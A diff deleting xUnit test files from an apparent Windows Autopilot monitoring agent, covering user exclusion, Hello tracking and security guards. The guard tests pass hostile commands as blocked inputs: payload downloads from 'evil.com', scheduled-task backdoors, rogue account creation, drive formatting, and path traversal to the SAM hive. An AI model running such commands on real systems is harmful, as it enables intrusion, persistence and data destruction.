public void PlaceholderEmailClassification_MatchesAadJoinInfoRule(string email, bool expected)
|
||||
{
|
||||
Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email));
|
||||
}
|
||||
}
|
||||
}
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests user exclusion logic for desktop arrival detection.
|
||||
/// Prevents: SYSTEM/service account explorer.exe triggering false desktop arrival,
|
||||
/// real users being incorrectly filtered.
|
||||
/// </summary>
|
||||
public class DesktopArrivalDetectorTests
|
||||
{
|
||||
// -- System and service accounts must be excluded --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_System_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DomainBackslashSystem_True()
|
||||
{
|
||||
// Domain prefix must be stripped before checking
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\SYSTEM"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_LocalService_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("LOCAL SERVICE"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\LOCAL SERVICE"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_NetworkService_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("NETWORK SERVICE"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\NETWORK SERVICE"));
|
||||
}
|
||||
|
||||
// -- DefaultUser* pattern (OOBE temp accounts) --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUser0_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUser1_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser1"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUserAnyNumber_True()
|
||||
{
|
||||
// StartsWith("DefaultUser") should match any suffix
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser99"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUser_CaseInsensitive()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("DEFAULTUSER0"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
|
||||
}
|
||||
|
||||
// -- Real users must NOT be excluded --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_RealUser_False()
|
||||
{
|
||||
Assert.False(DesktopArrivalDetector.IsExcludedUser(@"CONTOSO\john.doe"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_LocalRealUser_False()
|
||||
{
|
||||
Assert.False(DesktopArrivalDetector.IsExcludedUser("johndoe"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_AzureAdUser_False()
|
||||
{
|
||||
Assert.False(DesktopArrivalDetector.IsExcludedUser(@"AzureAD\user@contoso.com"));
|
||||
}
|
||||
|
||||
// -- Edge cases (fail-safe) --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_Null_True()
|
||||
{
|
||||
// Null/empty must be excluded (fail-safe — no user = not a real user)
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(null));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_Empty_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_SystemCaseInsensitive()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("system"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("System"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_BackslashAtEnd_ExtractsEmpty()
|
||||
{
|
||||
// Trailing backslash: "DOMAIN\" → empty username after split
|
||||
// Should be excluded (empty = fail-safe)
|
||||
// Note: LastIndexOf finds \, substring after is empty
|
||||
// But the code checks backslashIndex < fullUserName.Length - 1
|
||||
// so "DOMAIN\" with backslash at last position would keep the full string
|
||||
var result = DesktopArrivalDetector.IsExcludedUser(@"DOMAIN\");
|
||||
// The method keeps "DOMAIN\" as the full name since backslash is at last position
|
||||
// This won't match any excluded name, so it returns false (treated as unknown user)
|
||||
// This is acceptable — WMI won't return "DOMAIN\" for a real process
|
||||
Assert.False(result);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,130 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests path validation for diagnostics log collection.
|
||||
/// Prevents: path traversal, privacy leaks via C:\Users, SAM hive exfiltration.
|
||||
/// </summary>
|
||||
public class DiagnosticsPathGuardsTests
|
||||
{
|
||||
// -- Allowed paths --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_AutopilotMonitorLogs_True()
|
||||
{
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\AutopilotMonitor\Logs\agent.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_ImeLogs_True()
|
||||
{
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_WindowsPanther_True()
|
||||
{
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\Windows\Panther\setupact.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
// -- Hard-blocked paths --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_UsersDir_AlwaysBlocked()
|
||||
{
|
||||
// Must be blocked even in unrestricted mode (privacy protection)
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\Users\admin\Documents\secret.docx", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_SystemConfig_Blocked()
|
||||
{
|
||||
// SAM, SECURITY, SYSTEM hives must always be blocked
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\Windows\System32\config\SAM", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
// -- Path traversal --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_Traversal_Blocked()
|
||||
{
|
||||
// Traversal via ".." after allowed prefix must be caught by GetFullPath normalization
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\AutopilotMonitor\..\..\Users\admin\file.txt");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_EnvironmentVariable_Expanded()
|
||||
{
|
||||
// %ProgramData% should expand to C:\ProgramData
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"%ProgramData%\AutopilotMonitor\Logs\agent.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
// -- Edge cases --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_WhitespaceOnly_Blocked()
|
||||
{
|
||||
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(" "));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_NullOrEmpty_Blocked()
|
||||
{
|
||||
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(null));
|
||||
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_WildcardInFilename_Allowed()
|
||||
{
|
||||
// Wildcards in the last path segment should be supported
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\AutopilotMonitor\Logs\*.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_UnrestrictedMode_AllowsNonBlocked()
|
||||
{
|
||||
// In unrestricted mode, non-hard-blocked paths should be allowed
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\SomeRandomDir\logs\file.txt", unrestrictedMode: true);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_UnallowedDir_Blocked()
|
||||
{
|
||||
// Random directory not in allowlist should be blocked in normal mode
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\SomeRandomDir\logs\file.txt");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,203 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests security guards for remote gather rules.
|
||||
/// Prevents: path traversal, prefix spoofing, command injection, privacy leaks.
|
||||
/// Critical: segment-bounded matching ensures SOFTWARE\MicrosoftEvil doesn't match SOFTWARE\Microsoft.
|
||||
/// </summary>
|
||||
public class GatherRuleGuardsTests
|
||||
{
|
||||
// -- Registry path guards --
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_KnownPrefix_True()
|
||||
{
|
||||
// SOFTWARE\Microsoft\Enrollments is a known allowed prefix from guardrails.json
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(
|
||||
@"SOFTWARE\Microsoft\Enrollments\{some-guid}\FirstSync");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_ExactPrefixMatch_True()
|
||||
{
|
||||
// Exact match on prefix (no trailing segment)
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\Enrollments");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_SegmentBounded_BlocksSpoofing()
|
||||
{
|
||||
// SOFTWARE\Microsoft\EnrollmentsEvil must NOT match SOFTWARE\Microsoft\Enrollments
|
||||
// because the character after "Enrollments" is 'E', not '\'
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\EnrollmentsEvil\Backdoor");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_UnrestrictedMode_AllAllowed()
|
||||
{
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(
|
||||
@"SOME\RANDOM\PATH", unrestrictedMode: true);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_EmptyPath_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsRegistryPathAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsRegistryPathAllowed(""));
|
||||
}
|
||||
|
||||
// -- File path guards --
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_DirectoryTraversal_Blocked()
|
||||
{
|
||||
// Path normalization via GetFullPath should catch ".." traversal
|
||||
var result = GatherRuleGuards.IsFilePathAllowed(
|
||||
@"C:\ProgramData\Microsoft\IntuneManagementExtension\..\..\..\..\Users\admin\secrets.txt");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_UsersDir_AlwaysBlocked()
|
||||
{
|
||||
// C:\Users must be blocked even in unrestricted mode (privacy protection)
|
||||
var result = GatherRuleGuards.IsFilePathAllowed(
|
||||
@"C:\Users\admin\Documents\file.txt", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_SystemConfig_AlwaysBlocked()
|
||||
{
|
||||
// SAM/SECURITY hives must always be blocked
|
||||
var result = GatherRuleGuards.IsFilePathAllowed(
|
||||
@"C:\Windows\System32\config\SAM", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_EmptyPath_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsFilePathAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsFilePathAllowed(""));
|
||||
}
|
||||
|
||||
// -- Command guards --
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_HardBlocked_EvenUnrestricted()
|
||||
{
|
||||
// Download commands must be blocked regardless of unrestricted mode
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Invoke-WebRequest http://evil.com/payload.exe", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Invoke-RestMethod http://evil.com/api", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"certutil -urlcache -split -f http://evil.com/payload.exe", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_PersistenceMechanisms_Blocked()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"schtasks /create /tn backdoor /tr evil.exe", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Register-ScheduledTask -TaskName backdoor", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_UserManipulation_Blocked()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"New-LocalUser -Name hacker -NoPassword", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"net user hacker password123 /add", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_MaxLength_Blocked()
|
||||
{
|
||||
var longCommand = new string('A', 2001);
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(longCommand, unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_ExactMaxLength_Allowed()
|
||||
{
|
||||
// Exactly 2000 chars should pass the length check (blocked by allowlist, but not by length)
|
||||
var exactCommand = new string('A', 2000);
|
||||
|
||||
// Won't be in allowlist, but should NOT be blocked by length guard
|
||||
// In unrestricted mode, should be allowed (passes both length and hard-block checks)
|
||||
Assert.True(GatherRuleGuards.IsCommandAllowed(exactCommand, unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_EmptyCommand_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_DestructiveOps_Blocked()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Remove-Item -Recurse C:\\ImportantData", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Format-Volume -DriveLetter C", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
// -- WMI query guards --
|
||||
|
||||
[Fact]
|
||||
public void IsWmiQueryAllowed_WhitespaceBoundary()
|
||||
{
|
||||
// "Win32_OperatingSystemXXX" must NOT match "SELECT * FROM Win32_OperatingSystem"
|
||||
// because after the class name there must be whitespace or end of string
|
||||
var allowed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystem");
|
||||
var spoofed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystemXXX");
|
||||
|
||||
// The allowed query should be allowed if it's in the guardrails
|
||||
// The spoofed query must NOT be allowed (boundary check)
|
||||
if (allowed) // Only test spoofing if the base query is allowed
|
||||
Assert.False(spoofed);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsWmiQueryAllowed_UnrestrictedMode_AllAllowed()
|
||||
{
|
||||
var result = GatherRuleGuards.IsWmiQueryAllowed(
|
||||
"SELECT * FROM SomeRandomClass", unrestrictedMode: true);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsWmiQueryAllowed_EmptyQuery_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsWmiQueryAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsWmiQueryAllowed(""));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,448 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests for <see cref="HelloTracker"/>. Drives event processing via the internal
|
||||
/// ProcessHelloEvent / ProcessHelloForBusinessEvent seams (EventLogWatcher is Windows-only
|
||||
/// and not mocked) and timers via TriggerWait/CompletionTimeoutForTest to stay deterministic.
|
||||
/// </summary>
|
||||
public sealed class HelloTrackerTests
|
||||
{
|
||||
private readonly ConcurrentBag<EnrollmentEvent> _captured = new ConcurrentBag<EnrollmentEvent>();
|
||||
private int _helloCompletedInvocations;
|
||||
|
||||
private HelloTracker CreateTracker(int helloWaitTimeoutSeconds = 30)
|
||||
{
|
||||
var tracker = new HelloTracker(
|
||||
sessionId: "sess-1",
|
||||
tenantId: "tenant-1",
|
||||
onEventCollected: e => _captured.Add(e),
|
||||
logger: TestLogger.Instance,
|
||||
helloWaitTimeoutSeconds: helloWaitTimeoutSeconds);
|
||||
tracker.HelloCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _helloCompletedInvocations);
|
||||
return tracker;
|
||||
}
|
||||
|
||||
private List<EnrollmentEvent> Captured => _captured.ToList();
|
||||
private EnrollmentEvent Last(string eventType) => Captured.LastOrDefault(e => e.EventType == eventType);
|
||||
|
||||
// =====================================================================
|
||||
// UDR terminal events (300 / 301 / 362)
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloEvent_300_MarksCompletedAndFiresEvent()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloEvent(300, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false);
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("completed", t.HelloOutcome);
|
||||
Assert.Equal(1, _helloCompletedInvocations);
|
||||
var evt = Last("hello_provisioning_completed");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal(EventSeverity.Info, evt.Severity);
|
||||
Assert.True(evt.ImmediateUpload);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloEvent_301_MarksCompletedWithFailedEventType()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloEvent(301, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false);
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("completed", t.HelloOutcome);
|
||||
Assert.Equal(1, _helloCompletedInvocations);
|
||||
var evt = Last("hello_provisioning_failed");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal(EventSeverity.Error, evt.Severity);
|
||||
Assert.True(evt.ImmediateUpload);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloEvent_362_MarksCompletedAsBlocked()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloEvent(362, DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal(1, _helloCompletedInvocations);
|
||||
var evt = Last("hello_provisioning_blocked");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal(EventSeverity.Warning, evt.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloEvent_360_IsSnapshotOnly_DoesNotMarkCompleted()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloEvent(360, DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.False(t.IsHelloCompleted);
|
||||
Assert.Null(t.HelloOutcome);
|
||||
Assert.Equal(0, _helloCompletedInvocations);
|
||||
Assert.NotNull(Last("hello_provisioning_willnotlaunch"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloEvent_358_EmitsWillLaunch_NoCompletion()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloEvent(358, DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.False(t.IsHelloCompleted);
|
||||
Assert.Equal(0, _helloCompletedInvocations);
|
||||
Assert.NotNull(Last("hello_provisioning_willlaunch"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloEvent_DuplicateTerminal_DoesNotRefireHelloCompleted()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
|
||||
t.ProcessHelloEvent(301, DateTime.UtcNow.AddSeconds(1), "prov", false);
|
||||
|
||||
Assert.Equal(1, _helloCompletedInvocations); // second call sees _isHelloCompleted=true
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloEvent_BackfillFlag_AddedToData()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", isBackfill: true);
|
||||
|
||||
var evt = Last("hello_provisioning_completed");
|
||||
Assert.True(evt.Data.ContainsKey("backfill"));
|
||||
Assert.Equal(true, evt.Data["backfill"]);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// HelloForBusiness events (3024 / 6045)
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloForBusinessEvent_3024_EmitsProcessingStarted_NoCompletion()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloForBusinessEvent(3024, DateTime.UtcNow, "Hello processing started", "provider", false);
|
||||
|
||||
Assert.False(t.IsHelloCompleted);
|
||||
Assert.Equal(0, _helloCompletedInvocations);
|
||||
Assert.NotNull(Last("hello_processing_started"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloForBusinessEvent_6045_WithUserSkipHResult_MarksSkipped()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloForBusinessEvent(
|
||||
6045, DateTime.UtcNow,
|
||||
"User cancelled Hello for Business: HRESULT 0x801C044F",
|
||||
"provider", false);
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("skipped", t.HelloOutcome);
|
||||
Assert.Equal(1, _helloCompletedInvocations);
|
||||
var evt = Last("hello_skipped");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal(EventSeverity.Warning, evt.Severity);
|
||||
Assert.Equal("0x801C044F", evt.Data["hresult"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessHelloForBusinessEvent_6045_WithOtherHResult_DoesNotMarkCompleted()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessHelloForBusinessEvent(
|
||||
6045, DateTime.UtcNow,
|
||||
"Hello processing stopped: HRESULT 0x80070005",
|
||||
"provider", false);
|
||||
|
||||
Assert.False(t.IsHelloCompleted);
|
||||
Assert.Equal(0, _helloCompletedInvocations);
|
||||
Assert.NotNull(Last("hello_processing_stopped"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ExtractHResultFromDescription_MatchesValidHex()
|
||||
{
|
||||
Assert.Equal("0x801C044F",
|
||||
HelloTracker.ExtractHResultFromDescription("something HRESULT 0x801C044F tail"));
|
||||
Assert.Null(HelloTracker.ExtractHResultFromDescription("no hresult here"));
|
||||
Assert.Null(HelloTracker.ExtractHResultFromDescription(null));
|
||||
Assert.Null(HelloTracker.ExtractHResultFromDescription(""));
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Wait timer — policy-enabled path (extend to completion timer)
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void WaitTimeout_WithPolicyEnabled_EmitsExtendedWaitAndArmsCompletionTimer()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.SetPolicyForTest(helloEnabled: true, source: "GPO");
|
||||
t.StartHelloWaitTimer();
|
||||
|
||||
t.TriggerWaitTimeoutForTest();
|
||||
|
||||
Assert.False(t.IsHelloCompleted);
|
||||
Assert.Equal(0, _helloCompletedInvocations);
|
||||
Assert.True(t.IsCompletionTimerActiveForTest);
|
||||
var evt = Last("hello_wait_timeout");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal("extended_wait", evt.Data["action"]);
|
||||
Assert.Equal(true, evt.Data["helloPolicyEnabled"]);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Wait timer — policy-disabled path (immediate completion)
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void WaitTimeout_WithoutPolicyConfigured_MarksNotConfiguredAndFiresCompleted()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.StartHelloWaitTimer();
|
||||
|
||||
t.TriggerWaitTimeoutForTest();
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("not_configured", t.HelloOutcome);
|
||||
Assert.Equal(1, _helloCompletedInvocations);
|
||||
var evt = Last("hello_wait_timeout");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal("enrollment_complete", evt.Data["action"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void WaitTimeout_WithPolicyDetectedAsDisabled_MarksNotConfigured()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.SetPolicyForTest(helloEnabled: false, source: "GPO");
|
||||
t.StartHelloWaitTimer();
|
||||
|
||||
t.TriggerWaitTimeoutForTest();
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("not_configured", t.HelloOutcome);
|
||||
Assert.Equal(1, _helloCompletedInvocations);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void WaitTimeout_AfterWizardStarted_IsIgnored()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.NotifyHelloWizardStarted();
|
||||
|
||||
t.TriggerWaitTimeoutForTest();
|
||||
|
||||
Assert.False(t.IsHelloCompleted);
|
||||
Assert.Equal(0, _helloCompletedInvocations);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void WaitTimeout_AfterHelloAlreadyCompleted_IsIgnored()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
|
||||
var initialCount = _helloCompletedInvocations;
|
||||
|
||||
t.TriggerWaitTimeoutForTest();
|
||||
|
||||
Assert.Equal(initialCount, _helloCompletedInvocations);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Completion timer
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void CompletionTimeout_AfterWizardStart_MarksTimeout()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
t.NotifyHelloWizardStarted();
|
||||
|
||||
t.TriggerCompletionTimeoutForTest();
|
||||
|
||||
Assert.True(t.IsHelloCompleted);
|
||||
Assert.Equal("timeout", t.HelloOutcome);
|
||||
Assert.Equal(1, _helloCompletedInvocations);
|
||||
Assert.NotNull(Last("hello_completion_timeout"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void CompletionTimeout_WithoutWizardStart_MarksWizardNotStarted()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.TriggerCompletionTimeoutForTest();
